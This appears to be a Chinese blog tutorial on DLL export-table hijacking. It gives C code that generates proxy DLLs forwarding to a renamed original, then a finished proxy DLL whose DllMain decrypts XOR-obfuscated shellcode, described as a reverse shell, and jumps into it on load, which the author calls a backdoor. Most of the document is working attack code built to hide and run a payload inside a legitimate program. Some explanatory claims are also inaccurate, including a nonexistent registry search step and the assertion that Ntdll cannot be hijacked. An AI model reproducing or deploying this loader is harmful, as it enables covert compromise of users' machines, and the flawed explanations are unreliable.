1.13 导出表劫持ShellCode加载

Windows操作系统中,动态链接库DLL是一种可重用的代码库,它允许多个程序共享同一份代码,从而节省系统资源。在程序运行时,如果需要使用某个库中的函数或变量,就会通过链接库来实现。而在Windows系统中,两个最基础的链接库就是Ntdll.dllKernel32.dll

Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库,包含了大量的系统核心函数,如文件操作、进程和线程管理、内存操作等等。在进程启动时,操作系统会先加载Ntdll.dll,并将其映射到该进程的地址空间中。由于Ntdll.dll是如此重要,所以任何对其的劫持都是无效的。这也是为什么说在应用层下,无论什么程序都无法修改或替换Ntdll.dll的原因。

另一个常见的链接库是Kernel32.dll,它是Windows系统最基本的用户模式API之一。该库包含了大量的系统函数,如内存管理、进程和线程管理、文件操作、设备驱动程序管理等等。与Ntdll.dll不同的是,Kernel32.dll可以被劫持或替换。在程序启动时,操作系统会先将Ntdll.dll加载到进程地址空间中,然后将Kernel32.dll加载到内存中,并将其导出函数地址添加到进程的导出表中。在程序执行过程中,如果需要使用Kernel32.dll中的函数,则可以通过在导出表中查找函数的地址来实现。因此,对于除Ntdll.dll以外的其他链接库,理论上来说都是可以被劫持或替换的。

1.13.1 动态链接库加载顺序

当系统启动时,系统进程smss.exe会负责加载并初始化所有的系统服务和驱动程序。在此过程中,系统会先将一些常用的DLL文件预加载到内存中,以加快系统的启动速度。

这些常用的DLL文件的信息会被保存在注册表中的\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径下。

这个注册表键值包含了一个列表,其中存储了操作系统预加载的DLL文件的名称和路径。当操作系统需要加载某个DLL时,它会先在这个列表中查找,如果找到了对应的DLL文件,就会直接从预加载的内存中加载这个DLL,而不是从磁盘上重新读取。预加载DLL的优点是可以加快系统的启动速度,因为预加载的DLL文件已经被缓存到内存中,可以直接从内存中读取,而不需要再次从硬盘中读取。这样可以避免由于磁盘读写速度较慢而导致的启动延迟。

读者需要注意,预加载的DLL文件仅包含了系统中一些常用的DLL文件,而不包括所有的DLL文件。当程序需要加载一个没有被预加载的DLL文件时,操作系统会从磁盘上读取这个DLL文件,并将其加载到内存中。这种情况下,DLL文件的加载顺序是按照程序需要的顺序来进行的。当一个程序需要多个DLL文件时,这些DLL文件的加载顺序是有先后顺序的,通常是从最基本的DLL文件开始,逐步向上层的DLL文件进行加载。这种顺序可以保证程序的正确性和稳定性。

程序需要加载某个DLL文件时,系统会按照如下顺序动态查找:

  • 1.首先查找应用程序自身目录,如果DLL文件存在于应用程序的目录下,则直接加载这个DLL文件。
  • 2.如果DLL文件不存在于应用程序的目录下,则系统会查找系统目录C:\Windows\System32C:\Windows\SysWOW64,如果DLL文件存在于系统目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件既不存在于应用程序的目录下,也不存在于系统目录下,则系统会查找环境变量PATH所指定的路径。如果DLL文件存在于PATH所指定的路径中的任意一个目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件还是没有被找到,则系统会尝试从注册表中查找DLL文件所对应的路径。这个过程是通过查找注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DLLDirectories下的子键完成的,这些子键包含了DLL文件所在的目录路径。
  • 4.如果在注册表中还没有找到DLL文件,则系统会在所有已加载的DLL文件中查找是否有该DLL文件的导入项。如果存在,则说明该DLL文件已经被其他DLL文件加载,系统会尝试使用已加载的DLL文件来满足当前程序的需要。
  • 5.如果前面的步骤都没有找到DLL文件,则系统会提示找不到所需的DLL文件,并终止当前进程的执行。

1.13.2 实现DLL劫持代码生成

根据上方描述,读者应该能发现一个问题,如果在某个lyshark.exe应用程序根目录下重命名一个与其所调用DLL相同名称的DLL,而把原始DLL文件更名为其他名称,当应用程序调用时则该调用将被我们自己的DLL所接管,当处理完时则把这个请求传递给原始DLL执行,此时原函数依然可以被执行,而我们就算做了一个中间商,我们则可以在调用之间增加自己的功能,以此来实现应用功能的劫持及插入;

要实现上述功能,则我们需要得到指定DLL模块中所有的导出函数名称及导出序号,并将其通过/EXPORT:%s=%s.%s,@%d的方式生成一个新的DLL文件,有了思路那么就开始实现吧;

首先需要做的是打开一个DLL文件,并定位到PIMAGE_NT_HEADERS头部,将头部指针返回给全局变量NtHeader存储,实现该功能的核心是通过ReadFile将文件读入内存,并通过PIMAGE_NT_HEADERS强转为指针类型,将该数据存储到全局变量内保存;

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>

PIMAGE_DOS_HEADER DosHeader = nullptr;
PIMAGE_NT_HEADERS NtHeader = nullptr;
DWORD FileBase = 0;

void OpenPeFile(LPCSTR FileName)
{
  HANDLE Handle = CreateFileA(FileName, GENERIC_READ, NULL,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (Handle == INVALID_HANDLE_VALUE)
    return;
  
  DWORD FileSize = GetFileSize(Handle, NULL);
  DWORD OperSize = 0;
  FileBase = (DWORD)new BYTE[FileSize];
  ReadFile(Handle, (LPVOID)FileBase, FileSize, &OperSize, NULL);

  // 获取DOS头并判断是不是一个有效的DOS文件
  DosHeader = (PIMAGE_DOS_HEADER)FileBase;
  if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    exit(0);

  // 获取 NT 头并判断是不是一个有效的PE文件
  NtHeader = (PIMAGE_NT_HEADERS)(FileBase + DosHeader->e_lfanew);
  if (NtHeader->Signature != IMAGE_NT_SIGNATURE)
    exit(0);
  
  CloseHandle(Handle);
}

接着需要实现一个地址转换功能以用于导出函数解析时使用,将RVA(相对虚拟地址)转换为FOA(文件偏移地址),RVA是相对于模块基址的偏移量,而FOA是相对于文件开头的偏移量,该函数的实现原理是遍历PE文件中所有的节(Section),找到包含给定RVA的节,并计算出相应的FOA。

首先获取PE文件中节表的指针,然后遍历所有节,对于每个节,计算该节的起始RVA和结束RVA,并判断给定的RVA是否在该节的地址范围内。如果找到包含给定RVA的节,则根据该节的信息计算出该RVA对应的FOA并返回。

DWORD RVAtoFOA(DWORD rva)
{
  auto SectionTables = IMAGE_FIRST_SECTION(NtHeader);
  WORD Count = NtHeader->FileHeader.NumberOfSections;
  for (int i = 0; i < Count; ++i)
  {
    DWORD Section_Start = SectionTables[i].VirtualAddress;
    DWORD Section_Ends = SectionTables[i].VirtualAddress + SectionTables[i].SizeOfRawData;
    if (rva >= Section_Start && rva < Section_Ends)
    {
      return rva - SectionTables[i].VirtualAddress + SectionTables[i].PointerToRawData;
    }
  }
  return -1;
}

有了前面的基础,我们就可以实现导出表劫持功能了,如下所示GenerateEAT则是一个导出文件生成工具,其传入一个DLL文件名,及原函数名前缀/劫持后名称,并自动生成一个可编译的DLL源程序,读者只需要拿到源程序进行编译即可得到一个导出表劫持DLL了,这段C代码实现原理如下所示;

  • 1.通过CreateFileAReadFile函数获取PE文件的内容,然后获取其DOS头和NT头。
  • 2.通过NT头数据目录中的导出表的虚拟地址,定位导出表的位置,并获取导出表的信息,包括导出函数数量、导出函数名称数量、函数地址表、函数名称表、函数名称序号表等。
  • 3.遍历导出函数名称表,获取每个导出函数的名称,并以该名称作为导出函数的别名,通过#pragma comment语句将导出函数别名和实际函数名映射到导出表中,从而实现对导出函数的劫持和代理。
  • 4.使用fwrite函数将生成的代理DLL的代码写入到新的DLL文件中,并使用fclose函数关闭文件句柄。
void GenerateEAT(char* FileName, char* OldDllName)
{
  DWORD rav = NtHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
  auto ExportTable = (PIMAGE_EXPORT_DIRECTORY)(RVAtoFOA(rav) + FileBase);

  DWORD NameCount = ExportTable->NumberOfNames;
  DWORD FunctionCount = ExportTable->NumberOfFunctions;

  DWORD* Addr_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfFunctions) + FileBase);
  DWORD* Name_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfNames) + FileBase);
  WORD* Id_Table = (WORD*)(RVAtoFOA(ExportTable->AddressOfNameOrdinals) + FileBase);

  FILE* fp = fopen(FileName, "a+");
  char buf[8192] = { 0 };

  sprintf(buf, "// PowerBy:LyShark\n#include <stdio.h>\n#include <windows.h>\n\n");
  fwrite(buf, strlen(buf), 1, fp);

  for (DWORD i = 0; i < FunctionCount; ++i)
  {
    for (DWORD j = 0; j < NameCount; ++j)
    {
      if (i == Id_Table[j])
      {
        CHAR* Name = (CHAR*)(RVAtoFOA(Name_Table[j]) + FileBase);
        sprintf(buf, "#pragma comment(linker, \"/EXPORT:%s=%s.%s,@%d\") \n",Name, OldDllName, Name, i + 1);
        fwrite(buf, strlen(buf), 1, fp);
        _flushall();
        Sleep(20);
        printf("%s", buf);
        break;
      }
    }
  }
  sprintf(buf,
    "\nBOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\n"
    "{\n"
    " if (dwReason == DLL_PROCESS_ATTACH)\n"
    " {\n"
    "   DisableThreadLibraryCalls(hModule);\n"
    " }\n"
    " return TRUE;\n"
    "}\n");
  fwrite(buf, strlen(buf), 1, fp);
  _fcloseall();
}

编译工具并执行GenEAT.exe -d ./lyshark.dll -c ./lyshark.c -n old_lyshark执行后会生成lyshark.c文件,当读者传入参数是将自动生成lyshark.dll文件的导出表文件lyshark.c其劫持后名称为old_lyshark

int main(int argc, char* argv[])
{
    if (argc == 7)
    {
        if (!strcmp(argv[1], "-d") && !strcmp(argv[3], "-c") && !strcmp(argv[5], "-n"))
        {
            OpenPeFile(argv[2]);
            GenerateEAT(argv[4], argv[6]);
        }
    }
    return 0;
}

1.13.3 实现劫持ShellCode注入

有前面的导出表DLL生成功能,那么实现劫持就变得很容易了,为了能够演示这种劫持技术,此处我们需要自行生成一个lyshark.dll以及一个main.exe程序。

先来创建一个DLL并导出两个函数,然后创建主程序动态的加载这个DLL,此DLL程序只包含了几个简单的计算功能。

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)
{
  return x + y;
}

extern "C" int __declspec(dllexport)sub(int x, int y)
{
  return x - y;
}

extern "C" int __declspec(dllexport)mul(int x, int y)
{
  return x * y;
}

extern "C" int __declspec(dllexport)divs(int x, int y)
{
  return x / y;
}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
  return true;
}

接着编译main.cpp程序并生成main.exe,生成程序后,将lyshark.dll放入同一个目录下即可,程序运行后会通过LoadLibrary加载lyshark.dll到自身,并通过GetProcAddress动态获取到addFun的函数地址,调用其函数实现加法计算;

#include <stdio.h>
#include <Windows.h>

typedef int(*lpAdd)(int, int);
typedef int(*lpSub)(int, int);
typedef int(*lpMul)(int, int);
typedef int(*lpDiv)(int, int);

int main(int argc, char *argv[])
{
  HINSTANCE DllAddr;
  lpAdd addFun;

  DllAddr = LoadLibrary("lyshark.dll");

  addFun = (lpAdd)GetProcAddress(DllAddr, "add");
  if (NULL != addFun)
  {
    int res = addFun(100, 200);
    printf("结果: %d \n", res);
  }

  FreeLibrary(DllAddr);
  system("pause");
  return 0;
}

当读者编译好这两段程序后,请将其放入到同级目录下,运行main.exe则会看到输出计算结果,如下图所示;

通过运行劫持程序GenEAT.exe则读者会看到如下图所示的输出,此时打开lyshark.c则是我们的劫持DLL源代码文件;

为了保证后门的稳定性,此处我们实现了XorEncodeDeCode函数,该函数的作用是对一个存储在变量buf中的ShellCode进行加密,并输出加密后的结果。

首先,代码定义了一个名为cCode的字符数组,并将变量StrPasswd的值复制到了这个数组中。然后,使用一个for循环遍历cCode数组中的每个字符,将其与Xor_Key的乘积相加,并将结果存储回Xor_Key中。这样就得到了一个动态计算的密钥。

接下来,代码使用一个for循环遍历buf数组中的每个字节,并将其与Xor_Key进行异或运算。异或运算可以实现简单的加密和解密操作,这里用它来加密buf数组中存储的ShellCode。每次进行异或运算后将数据输出。

#include <stdio.h>
#include <tchar.h>
#include <windows.h>

unsigned char buf[] =
"\xbf\x7f\x06\x7d\x30\xdb\xd9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x7e\x14\x03\x7e\x14\x83\xee\xfc\x9d\xf3\x81"
"\xd8\xee\xfc\x79\x19\x90\x75\x9c\x28\x82\xe2\xd4\x19\x12"
"\x60\xb8\x91\xd9\x24\x29\x9b\x22\xc7\xe6\x91\xfa\x53\x7a"
"\x0e\x33\xa4\xd7\x72\x52\x58\x2a\xa7\xb4\x61\xe5\xba\xb5"
"\xa6\xb3\xb1\x5a\x7a\x13\xb1\xf6\x6b\x10\x87\xca\x8a\xf6"
"\x83\x72\xf5\x73\x53\x06\x49\x7d\x84\x6d\x19\x65\x74\xfa"
"\xc2\xb5\x75\x2f\x77\x7c\x01\xf3\x31\xf4\xde\x80\xc3\xdc"
"\x2e\x69\xf2\x20\xfc\x54\x3a\xad\xfc\x91\xfd\x4e\x8b\xe9"
"\xfd\xf3\x8c\x2a\x7f\x28\x18\xac\x27\xbb\xba\x08\xd9\x68"
"\x5c\xdb\xd5\xc5\x2a\x83\xf9\xd8\xff\xb8\x06\x50\xfe\x6e"
"\x8f\x22\x25\xaa\xcb\xf1\x44\xeb\xb1\x54\x78\xeb\x1e\x08"
"\xdc\x60\x8c\x5f\x60\x89\x4e\x60\x3c\x1d\x82\xad\xbf\xdd"
"\x8c\xa6\xcc\xef\x13\x1d\x5b\x43\xdb\xbb\x9c\xd2\xcb\x3b"
"\x72\x5c\x9b\xc5\x73\x9c\xb5\x01\x27\xcc\xad\xa0\x48\x87"
"\x2d\x4c\x9d\x3d\x24\xda\xde\x69\x31\x9d\xb7\x6b\x42\x86"
"\x48\xe2\xa4\x98\x06\xa4\x78\x59\xf7\x04\x29\x31\x1d\x8b"
"\x16\x21\x1e\x46\x3f\xc8\xf1\x3e\x17\x65\x6b\x1b\xe3\x14"
"\x74\xb6\x89\x17\xfe\x32\x6d\xd9\xf7\x37\x7d\x0e\x60\xb7"
"\x7d\xcf\x05\xb7\x17\xcb\x8f\xe0\x8f\xd1\xf6\xc6\x0f\x29"
"\xdd\x55\x57\xd5\xa0\x6f\x23\xe0\x36\xcf\x5b\x0d\xd7\xcf"
"\x9b\x5b\xbd\xcf\xf3\x3b\xe5\x9c\xe6\x43\x30\xb1\xba\xd1"
"\xbb\xe3\x6f\x71\xd4\x09\x49\xb5\x7b\xf2\xbc\xc5\x7c\x0c"
"\x42\xe2\x24\x64\xbc\xb2\xd4\x74\xd6\x32\x85\x1c\x2d\x1c"
"\x2a\xec\xce\xb7\x63\x64\x44\x56\xc1\x15\x59\x73\x87\x8b"
"\x5a\x70\x1c\x3c\x20\xf9\xa3\xbd\xd5\x13\xc0\xbe\xd5\x1b"
"\xf6\x83\x03\x22\x8c\xc2\x97\x11\x9f\x71\xb5\x30\x0a\x79"
"\xe9\x43\x1f";

// 计算异或密钥对,并对ShellCode进行加解密
void XorEncodeDeCode(TCHAR* StrPasswd)
{
    TCHAR cCode[32] = { 0 };
    _tcscpy(cCode, StrPasswd);

    // 动态计算字符串生成密钥
    DWORD Xor_Key = 0;
    for (unsigned int x = 0; x < lstrlen(cCode); x++)
    {
        Xor_Key = Xor_Key * 4 + cCode[x];
    }

    // 加密ShellCode并输出
    int nLen = sizeof(buf) - 1;

    printf("unsigned char buf[] = \n\"");
    for (int count = 0; count < nLen; count++)
    {
        buf[count] = buf[count] ^ Xor_Key;
        printf("\\x%x", buf[count]);
        if (count % 15 == 0 && count != 0)
        {
            printf("\"\n\"");
        }
    }
    printf("\";\n");
}

int main(int argc, char *argv[])
{
    // 传入密钥加密数据
    XorEncodeDeCode("lyshark");

    system("pause");
    return 0;
}

代码使用printf 函数输出当前字节的十六进制表示形式,为了美观起见,代码在输出时每输出15个字节就插入一个换行符,使得输出的结果分行显示。同时,代码还在每行输出前后添加了一些字符串格式化符号,以便将输出的结果转换为一个C语言风格的数组定义,输出效果如下图所示;

根据上述代码,我们可以写出如下导出语法,读者需要将如下DLL生成为lyshark.dll文件,并将原始的DLL文件改名为old_lyshark.dll

#include <stdio.h>
#include <tchar.h>
#include <windows.h>

#pragma comment(linker, "/EXPORT:add=old_lyshark.add,@1") 
#pragma comment(linker, "/EXPORT:divs=old_lyshark.divs,@2") 
#pragma comment(linker, "/EXPORT:mul=old_lyshark.mul,@3") 
#pragma comment(linker, "/EXPORT:sub=old_lyshark.sub,@4")

unsigned char buf[] =
"\xfc\x3c\x45\x3e\x73\x98\x9a\x9a\x37\x67\xb7\x1d\x6a\x8a\xf2\x1a"
"\x72\x3d\x57\x40\x3d\x57\xc0\xad\xbf\xde\xb0\xc2\x9b\xad\xbf"
"\x3a\x5a\xd3\x36\xdf\x6b\xc1\xa1\x97\x5a\x51\x23\xfb\xd2\x9a"
"\x67\x6a\xd8\x61\x84\xa5\xd2\xb9\x10\x39\x4d\x70\xe7\x94\x31"
"\x11\x1b\x69\xe4\xf7\x22\xa6\xf9\xf6\xe5\xf0\xf2\x19\x39\x50"
"\xf2\xb5\x28\x53\xc4\x89\xc9\xb5\xc0\x31\xb6\x30\x10\x45\xa"
"\x3e\xc7\x2e\x5a\x26\x37\xb9\x81\xf6\x36\x6c\x34\x3f\x42\xb0"
"\x72\xb7\x9d\xc3\x80\x9f\x6d\x2a\xb1\x63\xbf\x17\x79\xee\xbf"
"\xd2\xbe\xd\xc8\xaa\xbe\xb0\xcf\x69\x3c\x6b\x5b\xef\x64\xf8"
"\xf9\x4b\x9a\x2b\x1f\x98\x96\x86\x69\xc0\xba\x9b\xbc\xfb\x45"
"\x13\xbd\x2d\xcc\x61\x66\xe9\x88\xb2\x7\xa8\xf2\x17\x3b\xa8"
"\x5d\x4b\x9f\x23\xcf\x1c\x23\xca\xd\x23\x7f\x5e\xc1\xee\xfc"
"\x9e\xcf\xe5\x8f\xac\x50\x5e\x18\x0\x98\xf8\xdf\x91\x88\x78"
"\x31\x1f\xd8\x86\x30\xdf\xf6\x42\x64\x8f\xee\xe3\xb\xc4\x6e"
"\xf\xde\x7e\x67\x99\x9d\x2a\x72\xde\xf4\x28\x1\xc5\xb\xa1"
"\xe7\xdb\x45\xe7\x3b\x1a\xb4\x47\x6a\x72\x5e\xc8\x55\x62\x5d"
"\x5\x7c\x8b\xb2\x7d\x54\x26\x28\x58\xa0\x57\x37\xf5\xca\x54"
"\xbd\x71\x2e\x9a\xb4\x74\x3e\x4d\x23\xf4\x3e\x8c\x46\xf4\x54"
"\x88\xcc\xa3\xcc\x92\xb5\x85\x4c\x6a\x9e\x16\x14\x96\xe3\x2c"
"\x60\xa3\x75\x8c\x18\x4e\x94\x8c\xd8\x18\xfe\x8c\xb0\x78\xa6"
"\xdf\xa5\x0\x73\xf2\xf9\x92\xf8\xa0\x2c\x32\x97\x4a\xa\xf6"
"\x38\xb1\xff\x86\x3f\x4f\x1\xa1\x67\x27\xff\xf1\x97\x37\x95"
"\x71\xc6\x5f\x6e\x5f\x69\xaf\x8d\xf4\x20\x27\x7\x15\x82\x56"
"\x1a\x30\xc4\xc8\x19\x33\x5f\x7f\x63\xba\xe0\xfe\x96\x50\x83"
"\xfd\x96\x58\xb5\xc0\x40\x61\xcf\x81\xd4\x52\xdc\x32\xf6\x73"
"\x49\x3a\xaa\x0\x5c";

// 动态解密ShellCOde
void XorEncodeDeCode(TCHAR *StrPasswd)
{
    TCHAR cCode[32] = { 0 };
    _tcscpy(cCode, StrPasswd);

    // 动态计算字符串生成密钥
    DWORD Xor_Key;
    for (unsigned int x = 0; x < lstrlen(cCode); x++)
    {
        Xor_Key = Xor_Key * 4 + cCode[x];
    }

    // 加密ShellCode并放入到原始空间中
    int nLen = sizeof(buf) - 1;
    for (int i = 0; i<nLen; i++)
    {
        buf[i] = buf[i] ^ Xor_Key;
    }
}

HANDLE MyhThread = NULL;

DWORD WINAPI MyRun(LPVOID pParameter)
{
    // 解密ShellCode
    XorEncodeDeCode(L"lyshark");

    // 执行反弹
    __asm
    {
        mov eax, offset buf;
        jmp eax;
    }

    /*
    __asm
    {
    lea eax, offset buf;
    push eax;
    ret;
    }
    __asm
    {
    mov eax, offset buf;
    _emit 0xFF;
    _emit 0xE0;
    }
    */
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        // 禁用DLL的DLL_THREAD_ATTACH和DLL_THREAD_DETACH通知
        DisableThreadLibraryCalls(hModule);

        MyhThread = ::CreateThread(NULL, 0, &MyRun, 0, 0, 0);
    }

    return TRUE;
}

至此程序运行后则会首先执行我们的ShellCode代码,然后在执行原函数完成动态调用的功能;

posted @ 2023-09-01 10:27  lyshark  阅读(581)  评论(2编辑  收藏  举报

loading... | loading...
博客园 - 开发者的网上家园